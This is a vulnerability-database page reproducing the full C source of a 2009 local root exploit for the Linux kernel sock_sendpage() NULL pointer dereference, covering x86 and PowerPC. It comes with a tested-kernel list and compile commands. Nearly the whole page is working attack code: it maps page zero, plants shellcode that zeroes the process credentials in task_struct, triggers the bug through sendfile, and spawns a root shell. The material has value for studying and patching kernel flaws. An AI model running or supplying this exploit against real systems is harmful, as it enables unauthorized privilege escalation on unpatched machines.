Vulners
Lucene search
Linux Kernel 2.4/2.6 - sock_sendpage() Local Root Exploit (PPC Edition)
/*
* Linux sock_sendpage() NULL pointer dereference
* Copyright 2009 Ramon de Carvalho Valle <[email protected]>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
/*
* This exploit was written to illustrate the exploitability of this
* vulnerability[1], discovered by Tavis Ormandy and Julien Tinnes, on ppc
* and ppc64.
*
* This exploit makes use of the SELinux and the mmap_min_addr problem to
* exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.
* The problem, first noticed by Brad Spengler, was described by Red Hat in
* Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and
* the mmap_min_addr protection[2].
*
* Support for i386 and x86_64 was added for completeness. For a more complete
* implementation, refer to Brad Spengler's exploit[3], which also implements
* the personality trick[4] published by Tavis Ormandy and Julien Tinnes.
*
* Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4
* are vulnerable.
*
* This exploit was tested on:
*
* CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable
* CentOS 5.3 (2.6.18-128.4.1.el5)
* CentOS 5.3 (2.6.18-128.2.1.el5)
* CentOS 5.3 (2.6.18-128.1.16.el5)
* CentOS 5.3 (2.6.18-128.1.14.el5)
* CentOS 5.3 (2.6.18-128.1.10.el5)
* CentOS 5.3 (2.6.18-128.1.6.el5)
* CentOS 5.3 (2.6.18-128.1.1.el5)
* CentOS 5.3 (2.6.18-128.el5)
* CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable
* CentOS 4.8 (2.6.9-89.0.7.EL)
* CentOS 4.8 (2.6.9-89.0.3.EL)
* CentOS 4.8 (2.6.9-89.EL)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable
* Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)
* Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)
* SUSE Linux Enterprise Server 11 (2.6.27.19-5)
* SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)
* Ubuntu 8.10 (2.6.27-14) is not vulnerable
* Ubuntu 8.10 (2.6.27-11)
* Ubuntu 8.10 (2.6.27-9)
* Ubuntu 8.10 (2.6.27-7)
*
* For i386 and ppc, compile with the following command:
* gcc -Wall -o linux-sendpage linux-sendpage.c
*
* And for x86_64 and ppc64:
* gcc -Wall -m64 -o linux-sendpage linux-sendpage.c
*
* [1] http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html
* [2] http://kbase.redhat.com/faq/docs/DOC-18042
* [3] http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz
* [4] http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#if !defined(__always_inline)
#define __always_inline inline __attribute__((always_inline))
#endif
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("movq %%rsp,%0; " : "=r" (sp));
return sp;
}
#else
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("movl %%esp,%0" : "=r" (sp));
return sp;
}
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("mr %0,%%r1; " : "=r" (sp));
return sp;
}
#endif
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct;
asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct));
return task_struct;
}
#else
#define TASK_RUNNING 0
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;
thread_info = current_stack_pointer() & ~(4096 - 1);
if (*(unsigned long *)thread_info >= 0xc0000000) {
task_struct = *(unsigned long *)thread_info;
/*
* The TASK_RUNNING is the only possible state for a process executing
* in user-space.
*/
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
}
/*
* Prior to the 2.6 kernel series, the task_struct was stored at the end
* of the kernel stack.
*/
task_struct = current_stack_pointer() & ~(8192 - 1);
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
thread_info = task_struct;
task_struct = *(unsigned long *)thread_info;
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
return -1;
}
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
#define TASK_RUNNING 0
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;
#if defined(__LP64__)
task_struct = current_stack_pointer() & ~(16384 - 1);
#else
task_struct = current_stack_pointer() & ~(8192 - 1);
#endif
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
thread_info = task_struct;
task_struct = *(unsigned long *)thread_info;
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
return -1;
}
#endif
#if defined(__i386__) || defined(__x86_64__)
static unsigned long uid, gid;
static int
change_cred(void)
{
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (task_struct[0] == uid && task_struct[1] == uid &&
task_struct[2] == uid && task_struct[3] == uid &&
task_struct[4] == gid && task_struct[5] == gid &&
task_struct[6] == gid && task_struct[7] == gid) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return -1;
}
#elif defined(__powerpc__) || defined(__powerpc64__)
static int
change_cred(void)
{
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (!task_struct[0]) {
task_struct++;
continue;
}
if (task_struct[0] == task_struct[1] &&
task_struct[0] == task_struct[2] &&
task_struct[0] == task_struct[3] &&
task_struct[4] == task_struct[5] &&
task_struct[4] == task_struct[6] &&
task_struct[4] == task_struct[7]) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return -1;
}
#endif
#define PAGE_SIZE getpagesize()
int
main(void)
{
char *addr;
int out_fd, in_fd;
char template[] = "/tmp/tmp.XXXXXX";
#if defined(__i386__) || defined(__x86_64__)
uid = getuid(), gid = getgid();
#endif
if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
exit(EXIT_FAILURE);
}
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
addr[0] = '\xff';
addr[1] = '\x24';
addr[2] = '\x25';
*(unsigned long *)&addr[3] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;
#else
addr[0] = '\xff';
addr[1] = '\x25';
*(unsigned long *)&addr[2] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
#if defined(__LP64__)
/*
* The use of function descriptors by the Power 64-bit ELF ABI requires
* the use of a fake function descriptor.
*/
*(unsigned long *)&addr[0] = *(unsigned long *)change_cred;
#else
addr[0] = '\x3f';
addr[1] = '\xe0';
*(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
addr[4] = '\x63';
addr[5] = '\xff';
*(unsigned short *)&addr[6] = (unsigned short)change_cred;
addr[8] = '\x7f';
addr[9] = '\xe9';
addr[10] = '\x03';
addr[11] = '\xa6';
addr[12] = '\x4e';
addr[13] = '\x80';
addr[14] = '\x04';
addr[15] = '\x20';
#endif
#endif
if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(EXIT_FAILURE);
}
if ((in_fd = mkstemp(template)) == -1) {
perror("mkstemp");
exit(EXIT_FAILURE);
}
if(unlink(template) == -1) {
perror("unlink");
exit(EXIT_FAILURE);
}
if (ftruncate(in_fd, PAGE_SIZE) == -1) {
perror("ftruncate");
exit(EXIT_FAILURE);
}
sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
execl("/bin/sh", "sh", "-i", NULL);
exit(EXIT_SUCCESS);
}
// milw0rm.com [2009-08-31]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1